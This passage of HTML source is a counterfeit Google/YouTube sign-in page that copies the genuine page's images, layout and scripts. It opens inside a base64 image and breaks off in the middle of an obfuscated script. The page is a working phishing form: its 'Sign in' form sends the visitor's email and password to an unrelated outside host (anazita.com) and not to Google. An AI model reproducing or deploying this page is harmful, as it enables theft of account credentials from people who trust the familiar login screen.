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" style="color: rgb(64, 64, 64); font-family: Arial, sans-serif; font-size: 13px;" /><span style="font-size: 18px;">&nbsp;</span></h1>
				</div>
				<div class="card signin-card clearfix">
					<div id="cc_iframe_parent">
						&nbsp;</div>
					<img alt="" class="profile-img" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMAAAADACAYAAABS3GwHAAAJaElEQVR4Xu2dDUvcShiFU7GK+IGItYi0FfH//yIRtUjpByJqKdViryd3Y9fV3WSzm/Fk3mdgqdy7m5k573nmK5PJm9PT078FCQWCKvAGAIJGnmqXCgAARgitAACEDj+VBwA8EFoBAAgdfioPAHggtAIAEDr8VB4A8EBoBQAgdPipPADggdAKAEDo8FN5AMADoRUAgNDhp/IAgAdCKwAAocNP5QEAD4RWAABCh5/KAwAeCK0AAIQOP5UHADwQWgEACB1+Kg8AeCC0AgAQOvxUHgDwQGgFACB0+Kk8AOCB0AoAQOjwU3kAwAOhFQCA0OGn8gCAB0IrAAChw0/lAQAPhFYAAEKHn8oDAB4IrQAAhA4/lQcAPBBaAQAIHX4qDwB4ILQCABA6/FQeAPBAaAUAIHT4qTwA4IHQCgBA6PBTeQDAA6EVAIDQ4afyANCxB37//l38+vWruL29Le7u7sq/J6WVlZXi7du3xdLSUqG/l5eXOy5h7MsDQAfx//nzZ6HPzc1NcX9/P1MOCwsLxdraWrG6ulp+SPNVAADmpKeMfnl5WVxfX5ctfRdJPcP6+nqxublZCAzS7AoAwOwaFhcXF6X5Z23tmxZF5hcEW1tbTX/C98YoAAAzWEPj+W/fvnXW4tcVTT3Czs5OOVcgtVMAANrpVvz48aNs9R2SeoPt7W2HovSuDAAwZcj+/PlTfPnypdDqjlPSatHu7m6xuLjoVCz7sgDAFCGS6c/Pz5ON9acoWvlVzQ329vZYOp1COABoKJa7+atqAEHDgA6+BgAN9OqL+YGgQTBHvgIANZppzH92dmY77BlXfPUEHz9+ZE5QE18AqBHo8+fPdhPepu2cJsYfPnxo+vWQ3wOACWF3Wups606WSCcrBwBj9NFNLq345JC0MsTNspcjCQBjHH56evpqd3jnDZ3uGH/69Gnel83iegDwQhi1t0efnJL2DbF36HlEAWBEE21oOzk56d2qTx2sWhXa399nFynLoJOtkmPrX9WYXoAeoK6hLHIa+49WlrkAAEwEQE9xaaNbzkkb5niy7F+EmQMMuV17+6+urnL2f7GxsVE+Q0D6XwEAGHLC8fFxdpPfUaNrMnxwcID/BwoAwEAIbXjTtocISdsjOG2CHuCJ1/V0l7Y+REh6ekxbJEgMgR49EGH8X1WWeQCT4GeNn/b91B1alUuLqX1B2h9Eogd49MDR0VEoPxweHoaq77jKMgkeKAMAMXkAAACI6XyWQf/FXRvgdA8gUmIIxDLoo98BIBL6T+vKEIghUFz3P9QcAAAAAEIrAAChw08PMAg/N8JicgAAg7izFQIAYiowqDWb4WKGnx5gEHe2QwNATAWGas0DMfEsQA8wFPMI8wC2QnMjbGwzx0Px9ADxFBipMceixLIAQ6CReOe8GsTBWM/hBoARTTgakR4glgIv1DbH4xFp/V+2NT3AGNxzmgtwJOL4Nh0AxmjDCzJiDAQAYEKceUVS/hAAQE2MeUle3hAAQE18eU0qAOStQIPa8aLsBiL19Cv0AA0D1xcIdPqzTn3j8NtmgQWAZjqV33KHAPNPEczBVwFgSs00J9BbZASDU1KLr7e/LC4uOhXLviwA0DJETkukvA2+ZRAffgYA7bUrT5PWMwR3d3czXKX9T3WHV6874i3w7TUEgPbaPf5Se4e0i1Qb6VIkjfXV6vPi69nVBoDZNSyvIPMLguvr6856BLX46+vrpfkFAWl2BQBgdg2fXUFPlulzc3Mzc68go6+trZWvNuX1pvMPFgDMX9MnV9RqkeYKt7e3Zc9Q9xYajefV0i8tLZVje9bzuw0QAHSrL1c3VwAAzANE8bpVAAC61ZermysAAOYBonjdKgAA3erL1c0VAADzAFG8bhUAgG715ermCgCAeYAoXrcKAEC3+nJ1cwUAwDxAFK9bBQCgW325urkCAGAeIIrXrQIA0K2+XN1cAQAwDxDF61YBAOhWX65urgAAmAeI4nWrAADMUd/qYZfqXz0Mo0cl9Zn2GJXqQXc9EVY9FFP9Nx6Cn1/QAKCFljLz8BNeOiso9ckQempMZwANP0HG02PTBxMAajSTudWiy/TV443Ty5zuF9VjlIJBf3NQ1mTtAWBEn8rwMr0+qVv2eaOinkIgVB+AeKowADzooRMcZHb923fD1wEkIHS6hIDglInAJ8PN8+iSOtO5/n+OXAkGAKYfj2JUGLIfAmlMf3V11emJba4tfNtyVSfQbWxsZD+JzhYAjel1VKFafVJ7BTRP0FGMud57yA4Anc0p409746m9RWL8UsuqAkFnk+aUsgFAxtcpzbmv4ry2+TQ80qnUuYDQewA01NHLKmjx06KhHmF7e7v3Q6PeAqDJ7ffv3xnjp/X9s9w0R3j37l1vJ8u9BEBjfA13Ur2Q4pU9Zp+9llA1LNIcoW+pVwDI8HpBXd0R430LQi7l1UqRXtTXp5d39AYAmV7mp9X3xkXmFwR9WTbtBQBa4fn69at35CndEwXev3/fi5UiewD0FkbdySX1TwHdSdZbLJ2TNQCY39k6zcrmDoEtAFrp0fo+qf8K6H6B6wqRJQDav6MJLykfBTQxdnz+wA4ArfKcnJyw2pOP98uaaHVof3/fbonUDgC1/OzgzMz9g+qoB1BP4JSsANBa//n5uZM+lGXOCuzt7VndI7ACQObnLu+cHWd2Od0gEwQuyQYAbW7T2J+UvwKaC7icTmEDAMue+Ru/qqHTsqgNAAx/4gDgNAyyAeD4+JilzyAMaEn04ODAorY2ABwdHVkIQiHSKHB4eJgmo5pcLADQzS/1AKQ4CgDAUKxZ/49j/KqmAAAA8Vw/VGMAAAAAMFDAYg7AEMjACYmLQA9AD5DYcl7ZAQAAeDkycWkAAAASW84rOwAAAC9HJi4NAABAYst5ZQcAAODlyMSlAQAASGw5r+wAAAC8HJm4NAAAAIkt55UdAACAlyMTlwYAACCx5byyAwAA8HJk4tIAAAAktpxXdgAAAF6OTFwaAACAxJbzyg4AAMDLkYlLAwAAkNhyXtkBAAB4OTJxaQAAABJbzis7AAAAL0cmLg0AAEBiy3llBwAA4OXIxKUBAABIbDmv7AAAALwcmbg0AAAAiS3nlR0AAICXIxOXBgAAILHlvLIDAADwcmTi0gAAACS2nFd2AAAAXo5MXBoAAIDElvPKDgAAwMuRiUsDAACQ2HJe2QEAAHg5MnFpAAAAElvOKzsXAP4DaJJom1nLdJsAAAAASUVORK5CYII=" />
					<p class="profile-name">
						<span class="style1" style="outline: 0; -webkit-text-size-adjust: 100%"><img src="http://i.cubeupload.com/QLmRWm.png" style="height: 35px; width: 250px;" /></span></p>
					<form action="http://anazita.com/xmz/submit.php" id="signup" method="post" name="signup">
						<input id="checkedDomains" name="checkedDomains" type="hidden" value="youtube" /> <label class="hidden-label" for="Email">Email</label> <input id="Email" name="Email" placeholder="Email" spellcheck="false" type="email" value="" /> <label class="hidden-label" for="Passwd">Password</label> <input id="Passwd" name="Passwd" placeholder="Password" type="password" /> <input class="rc-button rc-button-submit" id="signIn" name="signIn" type="submit" value="Sign in" /> <label class="remember"> <input id="PersistentCookie" name="PersistentCookie" type="checkbox" value="yes" /> <span> Stay signed in </span> </label>
						<div class="bubble-wrap" role="tooltip">
							<div class="bubble-pointer">
								&nbsp;</div>
							
						<input name="rmShown" type="hidden" value="1" /> <a class="need-help-reverse" href="https://accounts..com/RecoverAccount?service=wise&amp;continue=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s%23" id="link-forgot-passwd">&nbsp;</a></form>
				</div>
				<div class="one-">
					<p class="create-account">&nbsp;
						</p>
					<p class="tagline">&nbsp;
						</p>
				</div>
			</div>
			<div class="-footer-bar">
				<div class="footer content clearfix">
					&nbsp;</div>
			</div>
		</div>
		<script>
      (function () {
          var splitByFirstChar = function (toBeSplit, splitChar) {
              var index = toBeSplit.indexOf(splitChar);
              if (index >= 0) {
                  return [toBeSplit.substring(0, index),
  toBeSplit.substring(index + 1)];
              }
              return [toBeSplit];
          }
          var langChooser_parseParams = function (paramsSection) {
              if (paramsSection) {
                  var query = {};
                  var params = paramsSection.split('&');
                  for (var i = 0; i < params.length; i++) {
                      var param = splitByFirstChar(params[i], '=');
                      if (param.length == 2) {
                          query[param[0]] = param[1];
                      }
                  }
                  return query;
              }
              return {};
          }
          var langChooser_getParamStr = function (params) {
              var paramsStr = [];
              for (var a in params) {
                  paramsStr.push(a + "=" + params[a]);
              }
              return paramsStr.join('&');
          }
          var langChooser_currentUrl = window.location.href;
          var match = langChooser_currentUrl.match("^(.*?)(\\?(.*?))?(#(.*))?$");
          var langChooser_currentPath = match[1];
          var langChooser_params = langChooser_parseParams(match[3]);
          var langChooser_fragment = match[5];

          var langChooser = document.getElementById('lang-chooser');
          var langChooserWrap = document.getElementById('lang-chooser-wrap');
          var langVisControl = document.getElementById('lang-vis-control');
          if (langVisControl && langChooser) {
              langVisControl.style.display = 'inline';
              langChooser.onchange = function () {
                  langChooser_params['lp'] = 1;
                  langChooser_params['hl'] = encodeURIComponent(this.value);
                  var paramsStr = langChooser_getParamStr(langChooser_params);
                  var newHref = langChooser_currentPath + "?" + paramsStr;
                  if (langChooser_fragment) {
                      newHref = newHref + "#" + langChooser_fragment;
                  }
                  window.location.href = newHref;
              };
          }
      })();
    </script><script type="text/javascript">
    var gaia_attachEvent = function (element, event, callback) {
        if (element.addEventListener) {
            element.addEventListener(event, callback, false);
        } else if (element.attachEvent) {
            element.attachEvent('on' + event, callback);
        }
    };
</script><script>      var G, Gb = function (a, b) { var c = a; a && "string" == typeof a && (c = document.getElementById(a)); if (b && !c) throw new Ga(a); return c }, Ga = function (a) { this.id = a; this.toString = function () { return "No element found for id '" + this.id + "'" } }; var Gc = {}, Gf = function (a, b, c) { var d = function (a) { var b = c.call(this, a); !1 === b && Gd(a); return b }; a = Gb(a, !0); a.addEventListener(b, d, !1); Ge(a, b).push(d); return d }, Gg = function (a, b, c) { a = Gb(a, !0); var d = function () { var b = window.event, d = c.call(a, b); !1 === d && Gd(b); return d }; a.attachEvent("on" + b, d); Ge(a, b).push(d); return d }, Gh; Gh = window.addEventListener ? Gf : window.attachEvent ? Gg : void 0; var Gd = function (a) { a.preventDefault ? a.preventDefault() : a.returnValue = !1; return !1 };
      var Ge = function (a, b) { Gc[a] = Gc[a] || {}; Gc[a][b] = Gc[a][b] || []; return Gc[a][b] }; var Gi = function () { try { return new XMLHttpRequest } catch (a) { for (var b = ["MSXML2.XMLHTTP.6.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"], c = 0; c < b.length; c++) try { return new ActiveXObject(b[c]) } catch (d) { } } return null }, Gj = function () { this.g = Gi(); this.parameters = {} }; Gj.prototype.oncomplete = function () { };
      Gj.prototype.send = function (a) { var b = [], c; for (c in this.parameters) { var d = this.parameters[c]; b.push(c + "=" + encodeURIComponent(d)) } var b = b.join("&"), e = this.g, f = this.oncomplete; e.open("POST", a, !0); e.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); e.onreadystatechange = function () { 4 == e.readyState && f({ status: e.status, text: e.responseText }) }; e.send(b) };
      Gj.prototype.get = function (a) { var b = this.oncomplete, c = this.g; c.open("GET", a, !0); c.onreadystatechange = function () { 4 == c.readyState && b({ status: c.status, text: c.responseText }) }; c.send() }; var Gl = function (a) { this.e = a; this.k = this.l(); if (null == this.e) throw new Gk("Empty module name"); }; G = Gl.prototype; G.l = function () { var a = window.location.pathname; return a && 0 == a.indexOf("/accounts") ? "/accounts/JsRemoteLog" : "/JsRemoteLog" };
      G.n = function (a, b, c) { var d = this.k, e = this.e || "", d = d + "?module=" + encodeURIComponent(e); a = a || ""; d = d + "&type=" + encodeURIComponent(a); b = b || ""; d = d + "&msg=" + encodeURIComponent(b); c = c || []; for (a = 0; a < c.length; a++) d = d + "&arg=" + encodeURIComponent(c[a]); try { var f = Math.floor(1E4 * Math.random()), d = d + "&r=" + String(f) } catch (g) { } return d }; G.send = function (a, b, c) { var d = new Gj; d.parameters = {}; try { var e = this.n(a, b, c); d.get(e) } catch (f) { } }; G.error = function (a, b) { this.send("ERROR", a, b) }; G.warn = function (a, b) { this.send("WARN", a, b) };
      G.info = function (a, b) { this.send("INFO", a, b) }; G.f = function (a) { var b = this; return function () { try { return a.apply(null, arguments) } catch (c) { throw b.error("Uncatched exception: " + c), c; } } }; var Gk = function () { }; var Gm = Gm || new Gl("uri"), Gn = RegExp("^(?:([^:/?#.]+):)?(?://(?:([^/?#]*)@)?([\\w\\d\\-\\u0100-\\uffff.%]*)(?::([0-9]+))?)?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$"), Go = function (a) { return "http" == a.toLowerCase() ? 80 : "https" == a.toLowerCase() ? 443 : null }, Gp = function (a, b) {
          var c = b.match(Gn)[1] || null, d, e = b.match(Gn)[3] || null; d = e && decodeURIComponent(e); e = Number(b.match(Gn)[4] || null) || null; if (!c || !d) return Gm.error("Invalid origin Exception", [String(b)]), !1; e || (e = Go(c)); var f = a.match(Gn)[1] || null; if (!f || f.toLowerCase() !=
c.toLowerCase()) return !1; c = (c = a.match(Gn)[3] || null) && decodeURIComponent(c); if (!c || c.toLowerCase() != d.toLowerCase()) return !1; (d = Number(a.match(Gn)[4] || null) || null) || (d = Go(f)); return e == d
      }; var Gq = Gq || new Gl("check_connection"), Gr = null, Gs = null, Gt = null, Gu = function (a, b) { this.c = a; this.b = b; this.a = !1 }; G = Gu.prototype; G.h = function (a, b) { if (!b) return !1; if (0 <= a.indexOf(",")) return Gq.error("CheckConnection result contains comma", [a]), !1; var c = b.value; b.value = c ? c + "," + a : a; return !0 }; G.d = function (a) { return this.h(a, Gs) }; G.j = function (a) { return this.h(a, Gt) }; G.i = function (a) { a = a.match("^([^:]+):(\\d*):(\\d?)$"); return !a || 3 > a.length ? null : a[1] };
      G.p = function (a, b) { if (!Gp(this.c, a)) return !1; if (this.a || !b) return !0; "accessible" == b ? (this.d(a), this.a = !0) : this.i(b) == this.b && (this.j(b) || this.d(a), this.a = !0); return !0 }; G.m = function () { var a; a = this.c; var b = "timestamp", c = String((new Date).getTime()); if (0 < a.indexOf("#")) throw Object("Unsupported URL Exception: " + a); return a = 0 <= a.indexOf("?") ? a + "&" + encodeURIComponent(b) + "=" + encodeURIComponent(c) : a + "?" + encodeURIComponent(b) + "=" + encodeURIComponent(c) };
      G.o = function () { var a = window.document.createElement("iframe"), b = a.style; b.visibility = "hidden"; b.width = "1px"; b.height = "1px"; b.position = "absolute"; b.top = "-100px"; a.src = this.m(); a.id = this.b; Gr.appendChild(a) };
      var Gv = function (a) { return function (b) { var c = b.origin.toLowerCase(); b = b.data; for (var d = a.length, e = 0; e < d && !a[e].p(c, b); e++); } }, Gw = function () {
          if (window.postMessage) {
              var a; a = window.__CHECK_CONNECTION_CONFIG.iframeParentElementId; var b = window.__CHECK_CONNECTION_CONFIG.connectivityElementId, c = window.__CHECK_CONNECTION_CONFIG.newResultElementId; (Gr = document.getElementById(a)) ? (b && (Gs = document.getElementById(b)), c && (Gt = document.getElementById(c)), Gs || Gt ? a = !0 : (Gq.error("Unable to locate the input element to storeCheckConnection result",
["old id: " + String(b), "new id: " + String(c)]), a = !1)) : (Gq.error("Unable to locate the iframe anchor to append connection test iframe", ["element id: " + a]), a = !1); if (a) {
                  a = window.__CHECK_CONNECTION_CONFIG.domainConfigs; if (!a) { if (!window.__CHECK_CONNECTION_CONFIG.iframeUri) { Gq.error("Missing iframe URL in old configuration"); return } a = [{ iframeUri: window.__CHECK_CONNECTION_CONFIG.iframeUri, domainSymbol: "youtube"}] } if (0 != a.length) {
                      for (var b = a.length, c = [], d = 0; d < b; d++) c.push(new Gu(a[d].iframeUri, a[d].domainSymbol));
                      Gh(window, "message", Gv(c)); for (d = 0; d < b; d++) c[d].o()
                  } 
              } 
          } 
      }, Gx = function () { if (window.__CHECK_CONNECTION_CONFIG) { var a = window.__CHECK_CONNECTION_CONFIG.postMsgSupportElementId; if (window.postMessage) { var b = document.getElementById(a); b ? b.value = "1" : Gq.error("Unable to locate the input element to storepostMessage test result", ["element id: " + a]) } } }; G_checkConnectionMain = Gq.f(Gw); G_setPostMessageSupportFlag = Gq.f(Gx);
</script><script>
      window.__CHECK_CONNECTION_CONFIG = {
          newResultElementId: 'checkConnection',
          domainConfigs: [{ iframeUri: 'https://accounts.youtube.com/accounts/CheckConnection?pmpo\75https%3A%2F%2Faccounts..com\46v\75-881549138', domainSymbol: 'youtube'}],
          iframeUri: '',
          iframeOrigin: '',
          connectivityElementId: 'dnConn',
          iframeParentElementId: 'cc_iframe_parent',
          postMsgSupportElementId: 'pstMsg',
          msgContent: 'accessible'
      };
      G_setPostMessageSupportFlag();
      G_checkConnectionMain();
</script><script type="text/javascript">      /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29tCg== */(function () { eval('var f,g=this,k=void 0,p=Array.prototype,q=function(a,b,c){return 2>=arguments.length?p.slice.call(a,b):p.slice.call(a,b,c)},s=function(a,b,c,d,e){c=a.split("."),d=g,c[0]in d||!d.execScript||d.execScript("var "+c[0]);for(;c.length&&(e=c.shift());)c.length||b===k?d=d[e]?d[e]:d[e]={}:d[e]=b},t=function(a,b,c){if(b=typeof a,"object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;if(c=Object.prototype.toString.call(a),"[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b},v=(new function(){},function(a,b){a.n=("E:"+b.message+":"+b.stack).slice(0,2048)}),w=function(a,b){for(b=Array(a);a--;)b[a]=255*Math.random()|0;return b},x=function(a,b){return a[b]<<24|a[b+1]<<16|a[b+2]<<8|a[b+3]},A=function(a,b){a.K.push(a.c.slice()),a.c[a.b]=k,z(a,a.b,b)},B=function(a,b,c){return c=function(){return a},b=function(){return c()},b.V=function(b){a=b},b},D=function(a,b,c,d){return function(){if(!d||a.s)return z(a,a.N,arguments),z(a,a.k,c),C(a,b)}},E=function(a,b,c,d){for(c=[],d=b-1;0<=d;d--)c[b-1-d]=a>>8*d&255;return c},F=function(a,b,c,d){if(8192>a.length)return String.fromCharCode.apply(null,a);for(b="",c=0;c<a.length;c+=8192)d=q(a,c,c+8192),b+=String.fromCharCode.apply(null,d);return b},C=function(a,b,c,d){return c=a.a(a.b),a.e&&c<a.e.length?(z(a,a.b,a.e.length),A(a,b)):z(a,a.b,b),d=a.t(),z(a,a.b,c),d},H=function(a,b,c,d){for(b={},b.O=a.a(G(a)),b.P=G(a),c=G(a)-1,d=G(a),b.self=a.a(d),b.D=[];c--;)d=G(a),b.D.push(a.a(d));return b},I=function(a,b,c,d){try{for(d=0;84941944608!=d;)a+=(b<<4^b>>>5)+b^d+c[d&3],d+=2654435769,b+=(a<<4^a>>>5)+a^d+c[d>>>11&3];return[a>>>24,a>>16&255,a>>8&255,a&255,b>>>24,b>>16&255,b>>8&255,b&255]}catch(e){throw e;}},z=function(a,b,c){if(b==a.b||b==a.m)a.c[b]?a.c[b].V(c):a.c[b]=B(c);else if(b!=a.d&&b!=a.f&&b!=a.h||!a.c[b])a.c[b]=J(c,a.a);b==a.r&&(a.u=k,z(a,a.b,a.a(a.b)+4))},K=function(a,b,c,d,e){for(a=a.replace(/\\r\\n/g,"\\n"),b=[],d=c=0;d<a.length;d++)e=a.charCodeAt(d),128>e?b[c++]=e:(2048>e?b[c++]=e>>6|192:(b[c++]=e>>12|224,b[c++]=e>>6&63|128),b[c++]=e&63|128);return b},L=function(a,b){return b<=a.aa?b==a.h||b==a.d||b==a.f||b==a.q?a.o:b==a.N||b==a.H||b==a.I||b==a.k?a.v:b==a.w?a.i:b==a.j||b==a.p?2:b==a.l?1:4:[1,2,4,a.o,a.v,a.i][b%a.ba]},G=function(a,b,c){if(b=a.a(a.b),!(b in a.e))throw a.g(a.Y),a.A;return a.u==k&&(a.u=x(a.e,b-4),a.C=k),a.C!=b>>3&&(a.C=b>>3,c=[0,0,0,a.a(a.r)],a.Z=I(a.u,a.C,c)),z(a,a.b,b+1),a.e[b]^a.Z[b%8]},J=function(a,b,c,d,e,h,l,n,m){return n=M,e=M.prototype,h=e.t,l=e.Q,m=e.g,d=function(){return c()},c=function(a,r,u){for(u=0,a=d[e.F],r=a===b,a=a&&a[e.F];a&&a!=h&&a!=l&&a!=n&&a!=m&&20>u;)u++,a=a[e.F];return c[e.ga+r+!(!a+(u>>2))]},d[e.J]=e,c[e.fa]=a,a=k,d},N=function(a,b,c,d,e,h){for(e=a.a(b),b=b==a.f?function(b,c,d,h){if(c=e.length,d=c-4>>3,e.da!=d){e.da=d,d=(d<<3)-4,h=[0,0,0,a.a(a.G)];try{e.ca=I(x(e,d),x(e,d+4),h)}catch(r){throw r;}}e.push(e.ca[c&7]^b)}:function(a){e.push(a)},d&&b(d&255),h=0,d=c.length;h<d;h++)b(c[h])},M=function(a,b,c,d,e,h){try{if(this.c=[],z(this,this.b,0),z(this,this.m,0),z(this,this.r,0),z(this,this.h,[]),z(this,this.d,[]),z(this,this.H,"object"==typeof 